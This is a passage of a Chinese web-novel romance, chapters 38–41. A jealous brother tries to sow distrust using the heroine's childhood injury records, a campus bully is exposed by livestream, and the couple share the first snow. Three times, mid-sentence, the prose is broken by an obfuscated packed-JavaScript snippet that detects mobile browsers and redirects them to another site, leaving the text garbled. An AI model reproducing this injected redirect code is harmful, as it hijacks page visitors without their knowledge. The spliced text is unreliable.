就在季品诚和他擦肩而过的瞬间,季磊谦想要拉住他的袖子,却被他迅速躲开了这个动作。 他的手抓了一个空。 手上功夫输掉了,嘴上功夫却不能停。 季磊谦开口:“我想和你说一些关于晏迎的事情,你也不要听吗?” 下一秒,他整齐的领口就被季品诚扯住,他将他狠狠按在墙上。 那双平静的眼睛终于有了一丝情绪变化,隔着透明的镜片发出寒冷的光。 他对季磊谦开口,语气不容置疑:“你,你们,季家,都不允许打她的主意。” 季磊谦仰起头,丝毫不畏惧地和他对视,他伸手碰了碰季品诚肋骨处的位置,笑着说:“这么多年,终于…” “终于找到你的软肋了。” 季品诚手上的动作加重,让他吃痛地皱眉。 “你到底要干什么?” 季磊谦不怒反笑:“没什么,我就是和你一样…特别喜欢她而已。” 他晃了晃手上的一个文件夹,用眼神挑衅季品诚。 “哥,我还是第一次见到你这样子失态呢,你当年被扫地出门时候的淡定去哪里了?” 季品诚没有说话,但也没有放手。 季磊谦抓到他的痛点一般,继续说道:“你说你是有多大魅力啊,我给她开那么多条件,她都不为所动,我背后有一整个季家,你有什么?你所谓南城大学副教授的头衔和光环吗?” 他嗤笑一声:“这东西是什么值钱的东西吗?” 季品诚松开了揪着他衣领的手,他目光无神地看着他,像是小时候,他们两个同时犯了错,可被责怪的,却只是他。 季磊谦一遍喘气一遍整理了一下自己的领带,他摸了摸被他掐痛的脖子:“你这病看来和以前比起来也没有好到哪里去啊。” 他走近他一步,笑道:“小时候我也是这样故意惹你生气,你掐住我,然后就被爸赶出家门了。” “毕竟…我们两个在季家的地位可完全不一样。” “你想对晏迎干什么?”他像是没有听见刚刚的挑衅,直接挑自己最在意的问。 季家那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249957|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些狗屁事,季品诚其实没有那么在意了。 因为他现在遇到了更加温暖的人,他只在意她。 季磊谦的语气非常坦荡荡:“你放心,我没想对她做什么不好的事情,就是和她接触下来,特别喜欢她,想让她做我的女朋友。” “但晏小姐不领情呢,所以我打算在你这里找突破口。” 就算不能让他们分手,产生点嫌隙也好。 只要有一丝缝隙,他钻也要钻进去。 他把手里的文件夹递给季品诚:“这是我今天送给你的礼物,她的过去,我猜她一件也没告诉过你吧?包括她认识我这件事,她应该也没对你说吧?” 把东西交给他,再挑拨离间几句,季磊谦的目的就算达成了。 他冲季品诚告辞:“里面的东西你慢慢看吧,不打扰你了。” 季品诚在休息室换下白大褂,打开了那份文件夹。 第一张泛黄老旧的照片映入眼帘,就让季品诚愣住。 是十二岁的她在站法庭的审判席,双手被手铐铐住。 虽然她是正当防卫致人死亡没有留下案底,但有关那次事故的资料还是都保留了下来。 他继续往后翻,下一张,是一份她的验伤报告。 季品诚的眼睛掠过那些文字,然后他在发抖。 他感受到自己的心脏正在承受着巨大的压力,心口隐隐发痛,连呼吸都变得急促起来。 那份十年前的验伤报告上写的是… 1.右手第二掌骨骨折。 2.双侧鼻骨骨折:鼻中隔向左侧弯曲。 3.左侧眼眶内侧壁骨折,左侧筛板骨折。 4.头皮与颅骨局部血肿,脑组织挫伤以及轻度脑震荡。 5.身体多处软组织挫伤。 这些伤痛以文字的形式确确实实地展现在他面前时,季品诚觉得有什么东西堵塞在了他的喉咙里,让他无法发声。 他不敢想象,少年时代的她,居然受过如此剧烈的伤痛。 后面还有几页关于她的资料,但季品诚已经无心再看下去。 他把自己的脸埋在手掌心,只觉得脑子很晕,站也站不稳。 他接受不了的并不是她过去犯过什么错,而是接受不了她过去遭受过这么多折磨。 这些年,她到底经历过什么,才在那些伤痛之中,成长为现在洒脱的样子。 难怪她遇到什么难事,第一句话永远都是:“这有什么?只要死不了,都不是什么大事,都能找到解决的办法。” 她说这些话的时候,身体上年少受过的伤,还会不会隐隐作痛? 电话铃声响起,季品诚没有接听的心情。 几秒后,他把脸从手掌心抬起,后知后觉地反应过来,颤抖地去够放在一边桌子上的手机。 那个“我爱洗澡皮肤好好~”的铃声,是晏迎来电的专属设置。 他点击拨通,里面传来她兴奋的声音。 “季老师!你今天加班不?附近广场这里晚上有演唱会,我们吃过饭可以散步去看看热闹,我今天下班早,准备买点鱼和排骨,鱼炖汤,排骨糖醋,你说好不好?” 散落一地的文件,那张她十二岁在法庭的照片,正好飘落在他面前。 照片里瘦小的女孩,鼻青脸肿,目光却正视前方,毫无畏惧。 季品诚的手指伸向她的脸,轻轻抚摸她脸上的伤口。 她看着他,像是在说:“我不害怕的,你也不要怕。” “喂?品诚?你那里听得到吗?” 季品诚把电话贴近自己的耳朵,他缓了口气,回答道:“嗯,我听得到,鱼汤和糖醋排骨都很好。” “我今天也不会加班,你等我回家,我有事情和你说。” 晏迎的笑声传到他耳朵里:“好,我等你回家。” 电话挂断,季品诚再次看向照片上的女孩。 他艰难地开口,说的却是:“对不起。” 对不起,我来迟了你生命里,这么多年。 39. 39 晏远晚上还有选修课要上,所以没有回家吃饭。 苏阿姨把鱼汤炖豆腐端出来,在桌子上热气腾腾地直冒烟。 季品诚推开门,一入眼,便是一身休闲装的晏迎蹲在地上修剪花枝。 听到开门声,晏迎在一簇颜色清新的花间对季品诚抬头。 她已经把妆容卸掉了,头发也用鲨鱼夹随意夹着,和鲜花相映,衬托得她眉眼干净,温柔秀丽。 她对着季品诚弯弯唇角笑道:“公司对面的商铺开了一家花坊,今天开业大酬宾,全场八八折,我看里面的花实在好看,就手痒痒买了很多。” 季品诚把电脑包放在一边的桌子上,脱掉风衣外套挽起衬衫袖子,拿了把新剪刀和她一起修剪花枝。 他也对她笑:“这是什么花?” 晏迎给大花瓶里加上营养液:“我家买的是颜色鲜艳的洋牡丹和香雪兰,季老师你家装修比较欧式简约,所以我买了颜色淡雅些的花。” 她兴致勃勃地和他一一介绍。 “白色的这个叫风铃花,蓝紫色的是葡萄风信子,粉色的叫朱顶红。” 她的目光落在花上,季品诚的目光落在她身上。 晏迎浑然不觉他温柔的目光,又拿了几支花递到他面前,那白色的小花散发出幽幽的香味,沁人心脾。 “嘿嘿,这个就不用我向你介绍了吧,这是茉莉花。” 晏迎清了清嗓子看着他,却压低声音道:“赠君茉莉,愿君莫离。” 季品诚的心跳陡然加快,他接过那几枝茉莉花,插在花瓶的C位:“我特别喜欢。” 特别喜欢的不见得是花,而是眼前的人。 晏迎蹲着有些累了,索性盘腿坐下修剪整理。 季品诚伸手从沙发上够了一个垫子递给她:“地上凉。” 晏迎坐在垫子上,嘴上还忍不住夸他:“我晏迎真是好福气,有季老师这么贤惠温柔体贴的男朋友。” 季品诚的目光透过风铃花看向她,她的眼睛亮晶晶的,宛如花蕊上明亮干净的露珠。 “咔嚓”一声,季品诚剪掉一枝花坏掉的部分,留下它尚有生命力的枝叶和花蕾,他把那朵花放进花瓶里,手指流连过它的叶子,像是在和它打招呼。 他抬头冲晏迎微笑:“虽然某人有巧言令色的嫌疑,但是我很爱听。” 两个人把花修剪好插上瓶,苏阿姨也把饭菜都做好了。 季品诚的位置正好一抬头就可以看到那瓶精心修剪过的花。 他的目光与花束相交,低下头轻轻笑了笑。 上桌吃饭的时候,晏迎才后知后觉地想起来:“季老师,你不是说回家要和我说一些事吗?什么事啊?” 季品诚把盘子里最大的一块糖醋排骨夹在她的碗里,他语气平和,甚至带着一点抚摸似的安慰:“没什么,一件小事而已,吃完饭我们再说。” 是的,只是一件小事而已,季磊谦挑拨离间的手法,实在是不高明。 他凭什么认为,他会因为这些事,而和晏迎分手? 诡计多端的第三者,这些年在季家就这点长进?季家的饭都喂进狗肚子里了。 季品诚又给晏迎盛了碗鱼汤,把鱼肚子部分的肉全部都夹给了晏迎。 晏迎接受他的投喂,眼睛却黏在他的脸上不下来:“季老师…我怎么感觉,你今天有些不一样呢?不仅给我加菜,还夹这么多!” 无事献殷勤,非…非常喜欢你? 季品诚推了推自己的眼镜,目光坦然:“我对自己的女朋友好天经地义。” 这是受什么刺激了?晏迎一边吃一边想,还是突然开窍了? 哼,季品诚特意把“顶配男友标准一百条守则”的文档下载在了手机上。 他必须得加把劲下功夫了,不能让其他人有一丝一毫的空子可以钻。 有的人,仗着自己和他长得几分相像,就想借他的脸勾引他的女朋友。 不愧是季家教出来的男人,一身损招,没有廉耻。 季品诚很相信晏迎,但不相信季磊谦。 晏迎喝了一口汤,打开微信,回复工作群里的消息。 她关注的南城大学公众号给她推送了一条消息。 “南城大学天文学院捐赠会于今日顺利完成……” 晏迎抬眼看一眼季品诚,心下了然。 他们之间,肯定见过面了。 这一顿饭,两个人各怀鬼胎。 吃完饭之后,晏迎摸摸自己吃饱的肚子,看了一眼正在洗小番茄的季品诚。 她吐槽道:“季老师你今天给我夹了这么多肉,我现在已经撑得不想去散步了。” “你最近工作辛苦,我看你都瘦了。” 这话晏迎爱听,她摸了一把自己的脸:“晏迎大美女不管胖了瘦了都好看。” 季品诚背对着她把小番茄的叶子一个个摘掉,他的声音混合着哗啦啦的流水声,也变得欢快起来:“嗯,晏迎大美女不管怎么样都好看。” 他把洗完小番茄装在白色瓷盘里,放到晏迎面前的茶几上:“饭后水果。” 晏迎闭着眼睛拍拍自己的肚子:“老师,我得缓缓再吃。” “好。” 时间过了五分钟,晏迎睁开眼睛,看了一眼旁边的男人,他的电脑包已经打开,屏幕上是一个已经批注完的文档。 一个蓝色文件夹放在旁边,让晏迎的心莫名其妙跳了一下。 季品诚对上晏迎的眼睛,他伸手拿了一个小番茄送到晏迎嘴边,晏迎张嘴咬住。 小番茄清甜的汁液在她的嘴巴里爆汁,唇齿之间一片清凉,晏迎舒服地眯了眯眼睛:“季品诚,和你在一起之后我时常感觉自己是皇帝,你是我身边的……” “什么?”季品诚也有点好奇。 晏迎摸上他的手,玩着他手背上性感的青筋。 他因为经常锻炼,皮下脂肪低,所以青筋明显。 季品诚也不知道为什么,晏迎特别喜欢看他挽起袖子露出布满青筋的手臂,每次她摸着摸着都能笑出声来。 晏迎抬眼,眼睛里有小星星:“我是皇帝,你就是我独一无二的皇夫摄政王,陪我一起处理朝政,一起读书写字,一起骑马射箭,我们形影不离。” 原来是这个,季品诚笑了,他还以为她要说自己是钦天监呢。 晏迎从沙发上爬起来,越说越有劲:“你作为皇夫,你还得琴棋书画样样精通,到了晚上,还得陪我侍寝!” 季品诚被“侍寝”这个词弄得有点脸红。 晏迎笑出了声,忘了谈恋爱以来,他们做过最亲密的事情就是亲亲抱抱,他一个大小伙子,还没有开过荤。 看着有点红温的季品诚,晏迎赶紧拿了一个小番茄递到了他面前:“嘿嘿,最近家里的空调温度打得有点高,确实让人容易上火哈。” 季品诚的脸还是很红,和盘子里的小番茄一个颜色。 他伸手拿空调遥控器把温度调低了点。 晏迎双手捧住他的面颊,根本不可能忍住不笑。 “诶,季老师,你脸上好烫呀,正好我手冷,给我捂捂手。” 季品诚垂下眼睛不去看她,但是嘴角含笑。 晏迎的鼻尖和他相抵,感受着他脸上滚烫的温度,她感觉到自己的心脏也在跳动。 调戏季品诚,现在是她最大的爱好了。 看他害羞得不搭理她,看他的脸红烧一样滚烫,看他为了转移注意力拿本书看,但是书却在手上拿反… 现在,晏迎松开捧住季品诚脸颊的手,在他泛红的耳朵边一句一顿说道:“不要害羞啊,季老师,你迟早有一天是要侍寝的。” 季品诚的脑子里轰鸣一声响起,他感觉脸上火烧一般灼热,心率肯定超过了一百。 晏迎笑出声来,她迅速在他脸上亲了一口,就松开手想要逃跑。 但不好意思,她这次玩大了。 季品诚拉住了她的手腕,反手将她一把拉在了怀里。 他的体温,完完全全地将她笼罩住,像是孙猴子被关进了太上老君的炼丹炉。 她低头,看见他抱住自己的手臂上,青筋起伏得更加明显了。 晏迎咽了一口口水,手指如同灵活的鱼,滑过那些水草般碧绿的青筋。 这个动作,让季品诚感觉发痒,他将她抱得更紧一点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253466|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他温热的呼吸将晏迎烫得一个激灵,晏迎抿唇忍住了笑意。 哎呀,有时候笑点太低也不是什么好事。 晏迎不再撩拨他,而是扭过头和他对视。 她主动认错:“对不起,季老师,我错了。” 虽然说是认错,但是晏迎一直在憋笑,脸上一点惭愧的表情都没有。 季品诚略微松开她一点,空出一只手摘掉了自己脸上的眼镜。 他抬起眼睛看向晏迎:“认错是不是要有认错的态度?” 好玩,爱玩,晏迎疯狂心动。 她压低自己的声音回答他:“遵命。” 她补偿他的,是一个绵长的吻。 那个吻时间长到,晏迎有种和他一吻天荒的错觉。 在那个吻里,一切问题,似乎都拥有了答案。 吻结束的时候,晏迎气喘吁吁。 晏迎乖乖坐到自己的位置上,季品诚也喘着气坐正。 她的目光不经意间扫到了什么不该看的东西,脸更加红更加烫了。 忘了他只是性格冷淡,又不是阳/痿。 晏迎啊晏迎,她在心里骂自己,你真不是个好东西。 季品诚咳嗽两声,把那份蓝色的文件夹推到了晏迎面前。 晏迎打开,目光凝住,“啪”得一声把文件夹合上,望向了正坐着的季品诚。 她笑着叹了一口气:“你都知道啦?是他告诉你的吧,这些过去的事情都是真的,但我不想和你去提是因为…” 季品诚打断她的话,温和道:“你不用和我解释什么,我知道。” “我也是最近才和季磊谦认识的,我没告诉你是因为…” “我知道的,你没有错,都是他的问题。” 季品诚笑着走过来把她拥抱进怀里,他感受着她的温度,觉得无比踏实。 “你不用向我解释什么,我永远不会怀疑你。” 他的手掌从她的脑袋一直抚摸到她的后颈:“他估计也是因为我,才盯上了你,是我该和你说对不起。” 晏迎沉默地抱着他,心里把季磊谦已经肢解成一块一块的了。 季品诚松开她,突然问她道:“当时肯定很痛吧?” 晏迎愣了几秒,才反应过来,他说的是什么。 他说的是十二岁的那个晚上,她受的伤。 那天晚上的记忆隔着千山万水,隔着十几年的时光飞驰而来,一度成为她的噩梦。 幸好她足够坚强,足够坚韧,这些年,才能成长为了更好的人。 她朝季品诚眨眨眼睛:“确实很痛,不过后来都痊愈了。” 人只有向前看,才可以更好地活下去。 季品诚的手伸向她的口袋,他知道的,她习惯在右边的衣服口袋里放一只打火机。 晏迎并不制止他的动作,她仍由他拿走。 他打开那枚打火机,里面冒出橙红色跳跃的火焰。 季品诚把文件夹里的照片和资料拿出来,让火焰将它们全部吞噬掉。 小小的火焰将照片上受伤的她烧掉,将那些象征着伤害和苦难的文字一并烧毁。 过往的不堪和无奈,都在今天烧成灰烬。 季磊谦想要让他们之间产生嫌隙,那他们干脆,对彼此毫无保留地信任。 晏迎看着橙红色的火焰,越来越小,直到被季品诚吹灭。 往事如梦如烟如灰如尘,万幸她没有输在那些拉她下坠的瞬间,而是赢在春夏秋冬,和他遇见。 她笑着凑到他面前,轻声道:“我还要感谢那位小叔子呢,要不是他,我们可能还要爱的慢一点。” 季品诚冷笑一声:“我们结婚那天,给他寄一份喜糖,就要你上次买的整蛊怪味糖。” 晏迎“噗嗤”一声笑出来:“哈哈哈哈哈哈你这也太狠了吧,不过我就喜欢你现在吃醋生气的模样。” 那盒怪味糖的味道可谓是惨绝人寰,发明这个东西的人简直是罄竹难书。 臭袜子味的糖、呕吐物味的糖,肝脏和洋葱味的糖,还有死鱼和洗碗水味的糖…… 晏迎越笑越想笑,季品诚是要把季磊谦往死里整啊。 40. 40 晏远最近和赵芸的关系还可以。 不说算得上多好的朋友,起码可以和睦相处了。 赵芸手机里有张浩的微信,以前张浩问她晏远的事她都会及时报告给他,现在她和晏远化干戈为玉帛站在一条线上,张浩打探晏远的事情,赵芸要么瞎说八道,要么装傻充愣不知道。 比如张浩问她:“晏远现在在哪里?” 晏远明明在图书馆,她会回复张浩:“她刚刚被她姐姐接回家吃饭了。” 比如张浩问她:“晏远最近防备心怎么那么强?” 其实就是她让晏远多防着点张浩,她会回复:“我不知道啊,我和她关系又不好,哪里可以了解她这么多事情?” 今天,赵芸和晏远正好顺路去校门外面复印资料,两个人就一块走了。 晏远低头回复着消息,是晏迎发给她的,说一会来学校接她,带她出去吃好吃的,顺便打包一份给天文学院正在开科研会的某人。 她回复姐姐一个“OK”的表情包。 还没出校门,两个人刚刚走到小道上,赵芸的手机也发出“滴滴”的消息提示音。 看到消息,赵芸眉头一紧。 晏远抱着资料看她脸色不太好看,一下子就知道了是谁发来的。 “是张浩?” “嗯,他又问我你在哪里了,我回复不知道。” “给你添麻烦了,赵芸。” “你这话说的,这是应该的,我以前被鬼迷心窍了,我现在可不会继续助纣为虐,要不然功德真的要没了。” 两个女孩身后传来一阵嗤笑,她们同时回头。 看清楚后面是谁之后,她们脸色雪白。 张浩拿着手机冲她们晃了晃:“下午好,美女们。” 赵芸握紧书包的肩带退后一步:“你怎么知道我们在这里?!” 张浩冲晏远吹了声口哨:“赵芸,你不会真的以为我想知道她在哪,只能通过你一个人了解情况吧?” “远远,”张浩冲晏远笑了笑,一步步向她逼近,“好久没见到你,我真的想死你了。” 赵芸一把拉住晏远的手腕,想带着她往另外一个方向跑,张浩直接往她的膝盖处猛踹了一脚,赵芸吃痛地摔倒在地。 “还想带着她跑?”张浩冷哼一声,“你以为你们能跑到哪里去?” 晏远撇开上手厚厚的几本书,伸手将痛得龇牙咧嘴的赵芸拉了起来,她恶狠狠地瞪着张浩:“你怎么打人呢?” 张浩走近一步,想伸手摸一把晏远的脸,被她迅速躲开了。 “你别担心她了,你多担心担心你自己吧。”虽然没有摸到晏远的脸,但他问道了她身上好闻的柑橘香水味。 张浩弯弯唇角,盯着晏远漂亮的脸,不敢想象剥开外皮,这枚小橘子得有多香甜多汁。 就在他猥琐地幻想中,晏远扶着赵芸,冷着声音让他滚开别挡道。 张浩得寸进尺地向晏远靠近,目光轻佻。 她忍无可忍,对着张浩的膝盖就是一脚,如果说人有十分力气,那晏远刚刚就花了二十分的力气来踹他。 这也算替赵芸报仇了。 张浩吃痛,弯腰捂住膝盖处,晏远拉着赵芸想跑,却被反应过来的张浩一下子推到在地。 赵芸拿起包砸向张浩,一脸大不了同归于尽的样子。 张浩现在被彻底激怒了,他指了指赵芸的脸,又指了指晏远的脸:“这块地方是监控死角,你们别逼我动手。” “你们知道我爸爸是谁的,天文学院的教授,马上就要升副院长了,我妈妈,我外公,都是市里面的大人物,你们别胳膊拧不过大腿,不自量力了。” 他话说完,见两个女孩子一点害怕的表情都没有,而是惊讶地看着他身后。 张浩回头,看到了一脸面无表情的晏迎举着手机,正对着他拍。 他爆了句粗口,怎么这个时候碰上这个难缠的女人了,他骂骂咧咧地走上前一把夺过晏迎的手机想要删除照片和视频。 但拿到晏迎手机的那一刻,他愣住了,浑身的血液几乎都要凝固。 这不是照片,也不是视频,而是直播。 来直播间的已经有一万人了,公屏上的评论滚雪球似的越滚越多,来直播间吃瓜的学生更是数不胜数。 “他爸爸就是张峰,听说这个教授也有不少瓜,喜欢让研究生给他送礼,谁送的多,就给谁好日子过。” “这个张浩也不是第一次欺负同学了,他大一刚进南城大学那会,就霸凌同班同学,把人家都弄得抑郁退学了,最后还是他爸出面出钱摆平的。” “南城大学还是这么多瓜啊。” “后台私信我,咱们拉个群把瓜条分享一下!” “这男的可真不是东西,这样欺负人家小姑娘,谁家没有孩子啊?” “人家爸爸妈妈有背景呗,不过养出这个玩意儿还不如养块叉烧下面条。” “唉,这种人居然还在学校光明正大地作恶多端,南城大学怎么回事!” “是啊是啊,学校一点都不管管吗?” “南城大学这样的高等学府居然不作为?” “当我们看见一只蟑螂的时候,说不定已经有一窝蟑螂了。” 评论的人越来越多,转发直播间,点赞,甚至还有看热闹不嫌事大,和张浩结怨已久的人花钱投流量。 晏迎从目瞪口呆的张浩手中一把拿回自己的手机,冲他比了一个口型。 “你、完、蛋、了。” 张浩的手机铃声响起,他接通不小心按了免提。 电话里头是张峰的声音,听得出来他非常生气,感觉下一秒就要一口气喘不上来直挺挺地过去了。 “混账东西,赶紧回来!” 晏迎“啧啧”两声,幸灾乐祸地看他一眼,留下一句:“张浩,我以前就警告过你了,没想到你这么不听劝,天作孽犹可违,自作孽不可活,你真是多行不义必自毙啊。” 张浩现在已经没有心思回嘴了,他知道这一遭下去,家里肯定不会轻易放过他的。 张峰今年就要评选副院长了,他妈妈也要升职,要是受到了他的影响,肯定没有好果子给他吃,打断条腿都算轻的。 办公室里,老师们刚刚都进直播间观战了,但碍于张峰在场,谁也没敢说话,只是悄悄点赞。 此刻张峰脸色铁青地走了出去,一边走一边打电话:“我哪里知道那个逆子会给我整这一出…” 等到他走远了,安静的办公室才炸开了锅。 “天呐,这也太敢了吧。” “唉,本来副院长是铁板上钉钉子的事情了,现在八成是没戏喽。” “何止啊,要是舆论发酵得严重,停职开除处理都是有可能的。” “也是,毕竟有些人做过的坏事,又不是只有这一件,网上肯定是越扒越有料呀。” “不过我还真的好奇,谁那么有主意想到直播这一招。” “直播里那两个女生的脸没怎么拍到,只拍到了张浩了。” 办公室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253467|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧闭的门突然打开,老师们议论的声音一霎那安静下来。” 推开门的是刚刚开完科研会的季品诚,见到是他,不是张峰,老师们又重新七嘴八舌地讨论起来。 “诶,季老师,你知道你开个会错过多少好戏吗?” “我这里有直播录屏,季老师,我转发给你了。” 季品诚放下笔记本和笔,在众人期待的目光中掏出了手机。 他云里雾里地点开了那个视频,张浩他是认识的,晏迎把他纠缠晏远的事情也和他讲过。 视频里两个女生虽然没有露脸,但是他听得出来两个女孩子的声音。 是他班上的晏远和赵芸。 季品诚皱眉,再仔细一看直播的账号,是晏迎的小号。 两个女孩子现在应该都在晏迎那里,他松了一口气。 下一秒,心有灵犀一般,他收到了晏迎发来的消息。 是南城大学附近一家甜品店的地址。 “季老师,开完会了吗?结束会议的话一起来喝下午茶吧。” “好,我马上到。” 季品诚到的时候,晏迎已经点了一大桌子甜品。 赵芸和晏远手边还放着打印好的资料。 见到季品诚来,晏迎冲他挥挥手:“我们在这里。” 季品诚在晏迎旁边的位置坐下,他打量了一眼晏迎:“你没事吧?” 晏迎笑了,把一杯澳白和一块巧克力蛋糕推到他面前:“我能有什么事,正直播呢,他敢动我一下。” “你们呢?”确认完晏迎没事,季品诚又问向对面的赵芸和晏远。 “姐夫你放心,我们也没事,就是擦破点皮,姐姐已经带我们去医院消过毒了。” 赵芸吃甜品的速度放慢,她看看季品诚,又看看晏迎,再看看晏远:“小远,你刚刚叫季老师什么?” 晏远嘴角还粘着点草莓酱,她笑道:“姐夫啊,你还不知道吧,季老师是我姐姐的男朋友。” 赵芸手上挖布丁的小铁勺,“啪”的一声,掉在了桌子上。 她小心翼翼地看向对面,一脸不可思议。 季老师有女朋友了?他的女朋友还是晏远她姐这种类型的? 这就是传说中的互补吗? 下午的阳光正好,窗外树上的小鸟在叽叽喳喳地叫。 晏迎咬着勺子,对季品诚道:“我这样做,不会给你添什么麻烦吧?毕竟你们在一间办公室。” 季品诚完全忽略了对面还坐着两个人,他抬手穿过洋洋洒洒的阳光,把晏迎落下来的头发温柔顺到耳后。 他笑着摇摇头:“不会的,我不怕他,而且那是他们罪有应得,我反而觉得我们晏迎,很勇敢很聪明。” “晏迎,如果后期他们找你麻烦,你也要随时和我说,我们一起面对。” 赵芸看着季品诚温柔如三月春风拂面的笑意,目瞪口呆。 她看向晏远,晏远冲她努努嘴,一脸“我已经习惯了”的模样。 季磊谦此刻坐在办公室里摇晃着手里的红酒杯,他的小号也关注晏迎的小号了,本来只是想悄咪咪地窥探她的生活,没想到见证了那么精彩的直播。 他还特意花钱买了很多流量,来助力她的直播间。 他现在真的觉得晏迎,越来越有意思了。 不过……他笑着叹了口气,动了一些人的蛋糕,可没那么容易脱身。 他桌前的相框里,是一张晏迎在雨中微笑的照片,他伸手摸摸她的脸,在心里祝她好运。 41. 41 直播事件的结果令晏迎还算满意。 这件事虽然被张峰花大价钱压了下去,但南城大学在强大的舆论压力下也做出了公告。 张浩予以开除学籍,张峰也被停职查办,永不录用。 张峰在办公室收拾完东西,恰好在走廊上遇到了刚下课的季品诚。 在和季品诚擦肩而过的瞬间,张峰停下来了脚步,他冷笑道:“季老师可真是找了一个好女朋友。” 季品诚从容地“哦”了一声,弯弯唇角回复:“谢谢,我也觉得她很好。” “季品诚,这事不会就这么结束的。” “是吗?”季品诚毫不畏惧地对视回去,“多行不义必自毙,你已经沦落到这一步了,还要执迷不悟吗?” 张峰还要再说些什么,但季品诚已经走远。 他不想和这种人废话太多,浪费时间。 晏迎再次来到南城大学的时候,是临近期末了。 她那天正好休息,和季品诚一起在新开的食堂里吃石锅拌饭。 季品诚下午也没有什么课,吃完饭,他们准备在校园里面散步消食。 南城已经彻底进入了冬天,天气预报说,今天下午,会有初雪降临南城。 南方很少下雪的,初雪的意义更是不一样,晏迎望着灰蒙蒙的天,满怀期待。 她的手一到冬天就会起冻疮,虽然已经涂了药膏预防,可手指关节处,还是红肿了起来。 她戴着手套,可手还是冷,今天穿的羽绒服恰巧又没有口袋。 季品诚牵过她的手,放进自己的口袋里捂着,他想着到时候问问苏姨有没有治冻疮的秘方,给她都试一遍。 两个人挨在一块走在校园里,在冬天冰凉的冷空气里感受着彼此的温度。 他们的手在口袋里摩挲着对方的手背,像是找到了,独一无二的,无法代替的依靠。 晏迎的围巾把她的脸遮住了一半,她露出一双笑意盈盈的眼睛看向季品诚,还冲他眨了两下眼。 季品诚的脚步放慢:“怎么了,又想起了什么好玩的事情?” 晏迎笑了:“我想起了我们第一次在南城大学见面,想起了我们第一次在食堂吃饭,想起了我们以前不熟悉的时候说的客套话,那会我们都不知道,面前的人,会成为未来要牵手一起走下去的伴侣。” “是啊,”季品诚点头表示赞同,“我那会也根本想不到,我会和你在一起。” 也想不到,事到如今,我已经根本无法离开你。 命运弄人,曾经以为的一面之缘,其实只是故事的开篇。 但不管未来怎么样,现在好幸福好幸福的瞬间,就足矣成为未来回味一生的永远。 晏迎在他的口袋之下握紧他的手,用短剧里面霸道总裁的语气宣告主权道:“季品诚,你,已经是我的人,这辈子,你都插翅难逃了。” 季品诚小声地回答:“我也没想逃。” 天上有什么冰冰凉凉的东西飘落,晏迎抬头,兴奋道:“品诚!下雪啦!” 小小的雪粒子仿佛感知到了她的兴奋,越下越多,越下越快。 晏迎想要伸出手去接那雪花,却被季品诚按住了手背,不让她从口袋里钻出来。 “手上还有冻疮呢,也不怕冻着手。” “我戴手套!” 季品诚知道拗不过她,由着她戴上厚厚的手套去玩雪。 她在纷纷扬扬的雪花里转了一个圈圈,像小孩子似的回头对他展露笑颜。 这无比美好的一幕,让季品诚呼吸一滞,心间好似被开满花的藤蔓缠绕,不能动弹,也不再寒冷。 他的眼睛一动不动地看着她,生怕错过这雪景里,有关她的每一瞬间。 晏迎不知道他为什么傻傻站着,她小跑到他身边,脚下一滑,差点摔个狗吃屎。 季品诚手急眼快地扶住了她,晏迎抬头,有点不好意思地冲他笑笑,然后目光顿住。 他的大衣、围巾、眼镜、还有头发上,都沾满了白色的雪粒子,本来就和冰雪一样冷淡的人,再被冰雪一装点,仿佛是天上来的神仙。 “盯着我干什么?下次走路得看路,本来下雪天路就滑。” 晏迎用手拍掉他身上的雪,不管他的唠叨,笑道:“季老师,你知道你现在像什么吗?” 他把她揽进怀抱里,替她遮挡住吹来的风雪:“像什么?” “像是冰雪王子。” 季品诚笑了:“可惜了,我不会唱《Letitgo》。” “哈哈哈哈哈哈,”晏迎笑趴在他的怀抱里,“季品诚你这个冷笑话和今天天气一样冷。” 那雪,落满了他共她的头发。 晏迎望着他的眉眼出声:“季品诚,我们两个,算不算在今天白头偕老了?” 季品诚笑着呼出一口热气:“那还太早了,起码再过六十年。” “六十年后,晏迎,你再对我说这句话吧。” 晏迎心里被温暖包裹着,恨不得当下的时间过得慢一点,再慢一点,好永远留在此刻。 他们牵手走在这冰天雪地里,打算去学校的奶茶店买杯热奶茶暖暖手。 小路的草丛旁,传来几声小狗呜咽声,吸引了晏迎的注意力。 她停下脚步,扒拉开茂密的草丛,露出一只小小的比格犬。 她这也算是…捡到比格了? 季品诚和她一起蹲下来,看着那只小比格道:“这是医学实验用犬,估计是医学院那边用不到了,上次还举办了收养比格犬的活动,这只应该是趁上次活动一群比格乱成一锅粥的时候,自己逃出来的在学校里流浪的。” 